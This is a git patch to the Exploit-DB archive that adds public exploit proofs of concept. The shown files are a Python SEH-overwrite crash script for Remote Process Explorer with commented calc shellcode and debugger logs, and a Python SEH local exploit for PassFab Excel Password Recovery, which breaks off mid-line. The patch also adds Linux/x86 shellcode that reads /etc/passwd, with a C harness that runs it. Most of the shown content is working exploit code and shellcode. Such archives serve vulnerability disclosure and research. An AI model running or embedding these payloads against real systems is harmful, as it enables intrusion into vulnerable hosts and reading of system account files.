From 6050f45223fbab7c9ccf8b9ba1fbe42802ee4479 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Sat, 2 Feb 2019 05:01:47 +0000 Subject: [PATCH] DB: 2019-02-02 4 changes to exploits/shellcodes Remote Process Explorer 1.0.0.16 - Denial of Service SEH Overwrite (PoC) PassFab Excel Password Recovery 8.3.1 - SEH Local Exploit SureMDM < 2018-11 Patch - Local / Remote File Inclusion Linux/x86 - Read /etc/passwd Shellcode (58 Bytes) (3) --- exploits/windows/dos/46304.py | 95 ++++++++++++++++++++++++++++++ exploits/windows/local/46301.py | 59 +++++++++++++++++++ exploits/windows/webapps/46305.txt | 13 ++++ files_exploits.csv | 3 + files_shellcodes.csv | 1 + shellcodes/linux_x86/46302.c | 78 ++++++++++++++++++++++++ 6 files changed, 249 insertions(+) create mode 100755 exploits/windows/dos/46304.py create mode 100755 exploits/windows/local/46301.py create mode 100644 exploits/windows/webapps/46305.txt create mode 100644 shellcodes/linux_x86/46302.c diff --git a/exploits/windows/dos/46304.py b/exploits/windows/dos/46304.py new file mode 100755 index 000000000..09252817c --- /dev/null +++ b/exploits/windows/dos/46304.py @@ -0,0 +1,95 @@ +# Exploit Title: Remote Process Explorer v1.0.0.16 - Denial of Service (PoC) and SEH overwritten Crash PoC +# Discovery by: Rafael Pedrero +# Discovery Date: 2019-01-30 +# Vendor Homepage: http://lizardsystems.com/action.php?action=home&product=rpexplorer&version=1.0.0.16 +# Software Link : http://lizardsystems.com/action.php?action=home&product=rpexplorer&version=1.0.0.16 +# Tested Version: 1.0.0.16 +# Tested on: Windows XP SP3 +# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow + +# Steps to Produce the Crash: +# 1.- Run rpexplorer.exe +# 2.- copy content rpexplorer_Crash.txt to clipboard (result from this python script) +# 3.- Go to "Add computer" and paste the result in the first textbox and click in Add button. +# 4.- Select "AAAAAAAAA...." computer, right mouse button and Connect and you will see a crash. + +''' + +Detect: + +SEH chain of thread 00000144 +Address SE handler +0114FEC8 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0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT) +FCW 1272 Prec NEAR,53 Mask 1 1 0 0 1 0 + +Log data, item 24 + Address=0BADF00D + Message= SEH record (nseh field) at 0x0114fec8 overwritten with normal +pattern : 0x41387741 (offset 684), followed by 308 bytes of cyclic data +after the handler + +Check after script: + +SEH chain of thread 00000D04 +Address SE handler +0114FEC8 43434343 +42424242 *** CORRUPT ENTRY *** + + +Log data, item 53 + Address=7E6E5E50 + Message= 0x7e6e5e50 : pop ebx # pop ebp # ret 0x04 | asciiprint,ascii +{PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: +True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll) + + +''' + +#!/usr/bin/env python + +''' +calc = ("\x31\xC9" # xor ecx,ecx + "\x51" # push ecx + "\x68\x63\x61\x6C\x63" # push 0x636c6163 + "\x54" # push dword ptr esp + "\xB8\xC7\x93\xC2\x77" # mov eax,0x77c293c7 + "\xFF\xD0") # call eax +''' + +crash = "\x41" * 684 + "BBBB" + "CCCC" +#crash = "\x41" * 684 + "\xEB\x14\x90\x90" + "\x50\x5e\x6e\x7e" + "\x90" * 24 + calc + "A"*(1000 - 32) +f = open ("rpexplorer_Crash.txt", "w") +f.write(crash) +f.close() \ No newline at end of file diff --git a/exploits/windows/local/46301.py b/exploits/windows/local/46301.py new file mode 100755 index 000000000..8de61c35e --- /dev/null +++ b/exploits/windows/local/46301.py @@ -0,0 +1,59 @@ +# Exploit Title: PassFab Excel Password Recovery SEH Local Exploit +# Date: 31.01.19 +# Vendor Homepage:https://www.passfab.com/products/excel-password-recovery.html +# Software Link: https://www.passfab.com/downloads/passfab-excel-password-recovery.exe +# Exploit Author: Achilles +# Tested Version: 8.3.1 +# Tested on: Windows XP SP3 + + +# 1.- Run python code : PassFab_RAR +# 2.- Open EVIL.txt and copy content to clipboard +# 3.- Open PassFab RAR Password Recovery +# 4.- In the new Window click on the key in the upper right corner +# 5.- Paste the content of EVIL.txt into the Field: 'Licensed E-mail and Registration Code' +# 6.- Click 'Register'and the calculator will open +# 7.- Greetings go:XiDreamzzXi,Metatron + +#!/usr/bin/env python +import struct + +buffer = "\x41" * 260 +NSEH = "\xeb\x06\x90\x90" #jmp short 6 +SEH = struct.pack(': + 8048060: eb 28 jmp 804808a + +08048062 : + 8048062: 5b pop ebx + 8048063: 31 c9 xor ecx,ecx + 8048065: f7 e1 mul ecx + 8048067: 99 cdq + 8048068: b0 05 mov al,0x5 + 804806a: cd 80 int 0x80 + +0804806c : + 804806c: 89 c3 mov ebx,eax + 804806e: b0 03 mov al,0x3 + 8048070: 89 e7 mov edi,esp + 8048072: 89 f9 mov ecx,edi + 8048074: 31 d2 xor edx,edx + 8048076: b2 ff mov dl,0xff + 8048078: cd 80 int 0x80 + +0804807a : + 804807a: 89 c2 mov edx,eax + 804807c: 31 c0 xor eax,eax + 804807e: b0 04 mov al,0x4 + 8048080: 31 db xor ebx,ebx + 8048082: b3 01 mov bl,0x1 + 8048084: cd 80 int 0x80 + +08048086 : + 8048086: b0 01 mov al,0x1 + 8048088: cd 80 int 0x80 + +0804808a : + 804808a: e8 d3 ff ff ff call 8048062 + +0804808f : + 804808f: 2f das + 8048090: 65 74 63 gs je 80480f6 + 8048093: 2f das + 8048094: 70 61 jo 80480f7 + 8048096: 73 73 jae 804810b + 8048098: 77 64 ja 80480fe +******************************************************************/ + +#include +#include + +unsigned char code[] = "\xeb\x28\x5b\x31\xc9\xf7\xe1\x99\xb0\x05\xcd\x80\x89\xc3\xb0\x03\x89\xe7\x89\xf9\x31\xd2\xb2\xff\xcd\x80\x89\xc2\x31\xc0\xb0\x04\x31\xdb\xb3\x01\xcd\x80\xb0\x01\xcd\x80\xe8\xd3\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"; + +int main() +{ + + printf("Shellcode Length: %d\n", strlen(code)); + + int (*ret)() = (int(*)())code; + + ret(); + return 0; +} \ No newline at end of file